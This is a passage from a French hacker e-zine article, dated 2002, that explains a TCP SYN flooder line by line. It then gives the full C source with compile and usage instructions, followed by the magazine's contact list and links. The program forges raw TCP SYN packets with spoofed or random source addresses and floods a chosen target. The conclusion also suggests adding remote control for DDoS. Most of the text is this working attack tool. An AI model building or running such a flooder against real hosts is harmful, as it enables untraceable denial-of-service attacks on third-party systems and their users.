ip->tos = 0; // type de service
ip->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr); /longueur totale du paquet
ip->id = (random()); // identificateur du paquet (pour fragmentation)
ip->ttl = 255; // time to live, ou nombre maximum de sauts à éxécuter
ip->protocol = IPPROTO_TCP; // protocole de niveau supérieur (voir protocol layering ci-dessous) ici TCP
ip->saddr = ipspoofee; // adresse source spoofée
ip->daddr = acible; // adresse de destination
// notre pseudo en-tête TCP
pseudo.saddr = ip->saddr;
pseudo.daddr = ip->daddr;
pseudo.useless = htons(0);
pseudo.protocol = IPPROTO_TCP;
pseudo.length = sizeof(struct tcphdr);
// remarquez que lorsque nous entrons des données à nos champs, nous utilisons la fonction htons pour convertir
l'ordre des bits de l'hôte en format réseau
tcp->source = htons(5000); // port source
tcp->dest = htons(80); // port destination
tcp->seq = htonl(SEQ); // numéro de séquence
tcp->ack_seq = htonl(0); // séquence d'acquittement
tcp->doff = 5; // data offset
tcp->fin = 0; // bit de contrôle FIN
tcp->syn = 1; // bit de contrôle SYN
tcp->rst = 0; // bit de contrôle RST
tcp->psh = 0; // bit de contrôle PSH
tcp->ack = 0; // bit de contrôle ACK
tcp->urg = 0; // bit de contrôle URG
tcp->window = htons(65535); // fenêtre
tcp->urg_ptr = htons(0); // pointeur urgent
// sommes de contrôle
tcp->check = in_cksum((unsigned short *)&pseudo,sizeof(struct tcphdr) + sizeof(struct pseudohdr)) ;
ip->check = in_cksum((unsigned short *)ip, sizeof(struct iphdr));
// déclaration de notre socket
if((sock = socket(AF_INET,SOCK_RAW,IPPROTO_TCP))<0)
{
// en cas d'errer on quitte
perror("Erreur lors de la cregation du socket");
exit(0);
} else {
// déclaration des options attribuées à notre socket (voir plus haut)
setsockopt(sock,IPPROTO_IP,IP_HDRINCL,&optval,sizeof(int));
rhost.sin_family = AF_INET;
rhost.sin_port = tcp->dest; // utilité de cette fonction? tout est définie dans l'en-tête forgé
rhost.sin_addr.s_addr = ip->daddr;
// envoie du paquet
if((sendto(sock,packet,ip->tot_len,0,(struct sockaddr *)&rhost, sizeof(struct sockaddr)))<0)
{
// en cas d'erreur on stop le processus (on "l'endort") pour 100 ms (plus que raisonnable pour une connection en 56)
perror("Erreur lors de l'envoie des paquets SYN");
// puis on incrémente notre int pechou
pechou++;
usleep(100);
}else{
// sinon on incrémente preussi et on endort provisoirement le processus
printf("Paquet SYN envoye sur port: %i!\n", j);
preussi++;
usleep(100);
}
}
// si le nombre maximum de ports de destination est atteint avant le nombre de paquets total à envoyer, max_port
est réinitialisé à 0
if (j==max_ports)
j=0;
close(sock);
}
}
// mes statistiques si chères ;-)
printf("\n>-=+=+=+=+=+=- Statistiques -=+=+=+=+=+=-<\n\n");
printf("Nombre total de paquets envoyes: %i\n", nbrp);
printf("Nombre total de paquets reçus: %i\n", preussi);
printf("Nombre total de paquets perdus: %i\n", pechou);
return 0;
}
[ Point d'entrée ]
Notre fonction main:! Nous récupérons les différents arguments entrés par l'utilisateur nécéssaires aux fonctions
appelés ultérieurement pour le syn flooding.
int main(int argc, char *argv[])
{
// nos variables
int x=0, nbrp=100, max_ports=100;
long nseq;
char *spoof, *cible;
unsigned long aspoof, acible;
if (argc < 2)
{
// si le nombre d'arguments entré est inférieur à 2 alors on affiche l'usage et on quitte
printf(" TCP SYN FLOODER By Li0n7 \n\n");
printf(" .: Presentation des arguments :. \n\n");
printf(" -c<cible> : cible a flooder ;-) \n");
printf(" -r : IP choisie aléatoirement \n");
printf(" -s<IP> : IP sous laquelle se spoofer \n");
printf(" -n<nbr_p>: nombre de paquets a envoyer, def=100 \n");
printf(" -p<nbr_pt>: nombre de ports a utiliser, def=100 \n");
exit(0);
} else {
// sinon tant que le nombre d'argument est supérieur à 0 on switch
while((argc>1)&&(argv[1][0]=='-'))
{
switch(argv[1][1])
{
case 'c':
// on récupère l'addresse cible que l'on passe en unsigned long
cible=&argv[1][2];
acible = getaddr(cible);
break;
case 'r':
// on récupère l'addresse cible que l'on passe en unsigned long, en attribuant la valeur à 1 à x (voir fonction synflood)
x=1;
aspoof = getaddr(ip_rnd());
break;
case 's':
// on récupère l'addresse source sous laquelle se spoofer que l'on passe en unsigned long
spoof=&argv[1][2];
aspoof = getaddr(spoof);
break;
case 'n':
// on récupère le nombre de paquets total à envoyer
nbrp = atoi(&argv[1][2]);
break;
case 'p':
// on récupère le port limite sur lequel envoyé les paquets spoofés
max_ports = atoi(&argv[1][2]);
if(max_ports > 65535 || max_ports < 0){
printf("Le port doit etre superieur a 0 et inferieur a 65535\n");
exit(0);
}
break;
}
--argc;
++argv;
}
}
// puis on appelle notre fonction synflood en rentrant les arguments précédemment mis en mémoire
synflood(aspoof, acible, x, nbrp, max_ports);
return 0;
}
V. Code source :
________________
/******************************************/
/* Ssyn flooder By Li0n7 */
/* contactez-moi: Li0n7@voila.fr */
/* http://www.ioc.fr.st */
/* TCP SYN FLOODER */
/* Copyright Li0n7 - Tous droits réservés */
/******************************************/
#include <stdio.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <unistd.h>
#include <signal.h>
#define HEALTY
#define NOSEGV
#define HIDDEN "emacs"
#define SEQ 0x28376839
int synfsock, sock, optval;
char *packet, *buffer;
struct tcphdr *tcp;
struct pseudohdr {
unsigned long saddr;
unsigned long daddr;
char useless;
unsigned char protocol;
unsigned short length;
}pseudo;
struct iphdr *ip;
struct sockaddr_in rhost;
struct hostent *source;
struct hostent *cible;
unsigned short in_cksum(unsigned short *addr, int len)
{
register int sum = 0;
u_short answer = 0;
register u_short *w = addr;
register int nleft = len;
while (nleft > 1)
{
sum += *w++;
nleft -= 2;
}
if (nleft == 1)
{
*(u_char *) (&answer) = *(u_char *) w;
sum += answer;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;
return (answer);
}
unsigned long getaddr(char *sname){
struct hostent * hip;
hip = gethostbyname(sname);
if (!hip){
perror("Adresse invalide");
exit(1);
}
return *(unsigned long *)hip -> h_addr;
}
int set_rnd(int min, int max){
int r;
r = rand()%(((max + 1) - (min)) + (min));
return r;
}
char *ip_rnd(){
int n1, n2, n3, n4;
char *false_ip;
false_ip = (char *) malloc(1024);
n1 = set_rnd(0, 254);
n2 = set_rnd(0, 254);
n3 = set_rnd(0, 254);
n4 = set_rnd(0, 254);
sprintf(false_ip, "%i.%i.%i.%i", n1, n2, n3, n4);
return false_ip;
}
void sig_exit(int crap)
{
#ifndef HEALTHY
printf(" [H [JSignal Caught. Exiting Cleanly.\n");
exit(crap);
#endif
}
void sig_segv(int crap)
{
#ifndef NOSEGV
printf(" [H [JSegmentation Violation Caught. Exiting Cleanly.\n");
exit(crap);
#endif
}
void init_signals()
{
signal(SIGHUP, sig_exit);
signal(SIGINT, sig_exit);
signal(SIGQUIT, sig_exit);
signal(SIGILL, sig_exit);
signal(SIGTRAP, sig_exit);
signal(SIGIOT, sig_exit);
signal(SIGBUS, sig_exit);
signal(SIGFPE, sig_exit);
signal(SIGKILL, sig_exit);
signal(SIGUSR1, sig_exit);
signal(SIGSEGV, sig_segv);
signal(SIGUSR2, sig_exit);
signal(SIGPIPE, sig_exit);
signal(SIGALRM, sig_exit);
signal(SIGTERM, sig_exit);
signal(SIGCHLD, sig_exit);
signal(SIGCONT, sig_exit);
signal(SIGSTOP, sig_exit);
signal(SIGTSTP, sig_exit);
signal(SIGTTIN, sig_exit);
signal(SIGTTOU, sig_exit);
signal(SIGURG, sig_exit);
signal(SIGXCPU, sig_exit);
signal(SIGXFSZ, sig_exit);
signal(SIGVTALRM, sig_exit);
signal(SIGPROF, sig_exit);
signal(SIGWINCH, sig_exit);
signal(SIGIO, sig_exit);
signal(SIGPWR, sig_exit);
}
int synflood(unsigned long ipspoofee, unsigned long acible, int x, int nbrp, int max_ports)
{
char *paquet, *fip;
int i, j, preussi=-1, pechou=0;
printf("x=%i\n", x);
for(i=0;i<=nbrp;i++)
{
for(j=1; j<=max_ports; j++)
{
if (x==1)
ipspoofee = getaddr(ip_rnd());
packet = (char *) malloc(sizeof(struct iphdr) + sizeof(struct tcphdr));
buffer = (char *) malloc(sizeof(struct iphdr) + sizeof(struct tcphdr));
ip = (struct iphdr *) packet;
tcp = (struct tcphdr *) (packet + sizeof(struct iphdr));
ip->ihl = 5;
ip->version = 4;
ip->tos = 0;
ip->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
ip->id = (random());
ip->ttl = 255;
ip->protocol = IPPROTO_TCP;
ip->saddr = ipspoofee;
ip->daddr = acible;
pseudo.saddr = ip->saddr;
pseudo.daddr = ip->daddr;
pseudo.useless = htons(0);
pseudo.protocol = IPPROTO_TCP;
pseudo.length = sizeof(struct tcphdr);
tcp->source = htons(5000);
tcp->dest = htons(80);
tcp->seq = htonl(7);
tcp->ack_seq = htonl(0);
tcp->doff = 5;
tcp->fin = 0;
tcp->syn = 1;
tcp->rst = 0;
tcp->psh = 0;
tcp->ack = 0;
tcp->urg = 0;
tcp->window = htons(65535);
tcp->urg_ptr = htons(0);
tcp->check = in_cksum((unsigned short *)&pseudo,sizeof(struct tcphdr) + sizeof(struct pseudohdr)) ;
ip->check = in_cksum((unsigned short *)ip, sizeof(struct iphdr));
if((sock = socket(AF_INET,SOCK_RAW,IPPROTO_TCP))<0)
{
perror("Erreur lors de la cregation du socket");
exit(0);
} else {
rhost.sin_family = AF_INET;
rhost.sin_port = tcp->dest;
rhost.sin_addr.s_addr = ip->daddr;
if((sendto(sock,packet,ip->tot_len,0,(struct sockaddr *)&rhost, sizeof(struct sockaddr)))<0)
{
perror("Erreur lors de l'envoie des paquets SYN");
pechou++;
usleep(100);
}else{
printf("Paquet SYN envoye sur port: %i!\n", j);
preussi++;
usleep(100);
}
}
if (j==max_ports)
j=0;
close(sock);
}
}
printf("\n>-=+=+=+=+=+=- Statistiques -=+=+=+=+=+=-<\n\n");
printf("Nombre total de paquets envoyes: %i\n", nbrp);
printf("Nombre total de paquets reçus: %i\n", preussi);
printf("Nombre total de paquets perdus: %i\n", pechou);
return 0;
}
int main(int argc, char *argv[])
{
int x=0, nbrp=100, max_ports=100;
long nseq;
char *spoof, *cible;
unsigned long aspoof, acible;
if (argc < 2)
{
printf(" TCP SYN FLOODER By Li0n7 \n\n");
printf(" .: Presentation des arguments :. \n\n");
printf(" usage: ./tcpsyn_f -c[CIBLE] -n[NBR_PAQUETS] -p[nbr_ports] -s[ADRESSE A SPOOFER] || <-r> \n");
printf(" -c<cible> : cible a flooder ;-) \n");
printf(" -r : IP choisie aléatoirement \n");
printf(" -s<IP> : IP sous laquelle se spoofer \n");
printf(" -n<nbr_p>: nombre de paquets a envoyer, def=100 \n");
printf(" -p<nbr_pt>: nombre de ports a utiliser, def=100 \n");
exit(0);
} else {
while((argc>1)&&(argv[1][0]=='-'))
{
switch(argv[1][1])
{
case 'c':
cible=&argv[1][2];
acible = getaddr(cible);
break;
case 'r':
x=1;
aspoof = getaddr(ip_rnd());
break;
case 's':
spoof=&argv[1][2];
aspoof = getaddr(spoof);
break;
case 'n':
nbrp = atoi(&argv[1][2]);
break;
case 'p':
max_ports = atoi(&argv[1][2]);
if(max_ports > 65535 || max_ports < 0){
printf("Le port doit etre superieur a 0 et inferieur a 65535\n");
exit(0);
}
break;
}
--argc;
++argv;
}
}
synflood(aspoof, acible, x, nbrp, max_ports);
return 0;
}
VI. Conclusion :
________________
Vous voila à présent en possession des connaissances nécessaires à la prog de
flooders TCP, rien de bien difficile en soit. Ce programme peut être optimisé
et bénéficer d'améliorations notables, notamment au niveau de la gestion des
ports de destination. Actuellement il envoie entre les ports 1 et max_ports,
vous pouvez remplacer la constante 1 par un integer entré par l'utilisateur
de manière a définir une plage de ports limite. Un moteur de contrôle du
flooder à distance avec automatisation du flooding serait aussi susceptible
d'être gréffer au programme. Nous abordons ici le DDoS, mais ce ne sera pas
pour cette issue!
Pour compiler:
$ gcc -o tcp_synf tcp_synf.c
usage: ./tcpsyn_f -c[CIBLE] -n[NBR_PAQUETS] -p[nbr_ports] -s[ADRESSE A SPOOFER] || <-r>
-c<cible> : cible a flooder =))
-r : IP choisie aléatoirement.
-s<IP> : IP sous laquelle se spoofer.
-n<nbr_p>: nombre de paquets a envoyer, defaut=100.
-p<nbr_pt>: nombre de ports a utiliser, defaut=100.
Voila tout, programmons par pur plaisir et non par intérêt, j'entends par là
le fait que des sk puérils s'arrogent le droit de disposer de cet outil sans
en comprendre la substance me répugne totalement.
Besoin d'aide? Commentaires? Insultes? Li0n7@voila.fr
---------------------------------------------------------------------------------------
CONTACTS IOC Staff
---------------------------------------------------------------------------------------
ONT PARTICIPE A L'ELABORATION CE CE MAGAZINE :
¤ Meik : meik666@hotmail.com #150635264
¤ Neofox : neo_fox_2001@hotmail.com #150837448
¤ Emper0r : emper0r@secureroot.com #66985563
¤ Disk-Lexic : bufferghost@caramail.com
¤ Li0n7 : Li0n7@voila.fr
¤ Viperone : viperone11@hotmail.com
EN COLLABORATION AVEC :
¤ Jackieils : jackniels@hotmail.com
¤ Marcel : emulators@fr.fm
LIENS
http://www.hianda.fr.st
http://attila666.no-ip.org
http://www.rootshell.be/~emepr0r
http://akheron.free.fr
http://l7l.linux-fan.com
http://www.newffr.org
http://www.rootshell.be/~mrmilow
http://jahnastah.org
http://www.rndghost.com
http://www.root-privs.be.tf
http://www.projet7.org
http://www.kernhell.org
http://www.salemioche.com
____ ___ __ __ ____ __ __ __ ___ __ ___ __ __
/ __| / \ | '_ \ / __|| | | | | |/ __/| | / \ | '_ \
| [__ | [ ] || | | || [__ | |_| - |\__ \| || [ ] || | | |
\____| \_____/ |__| |__| \____||____|\______||___/|__| \_____/ |__| |__|
End Of file, certains disent EOF. C'est ainsi que nous
concluons ce copieux numéro. N'hésitez pas à nous faire
part de vos suggestions, afin que nous puissions amélio
-rer le contenu issues à venir. N'héistez pas non plus
à nous faire parvenir vos articles, aidez nous à faire
vivre ce mag, aprés tout, c'est le votre ! Bon coding à
tous et rendez vous d'ici quelques temps pour la sortie
de la prochaine issue.
- Copyright © 2002 [IOC] -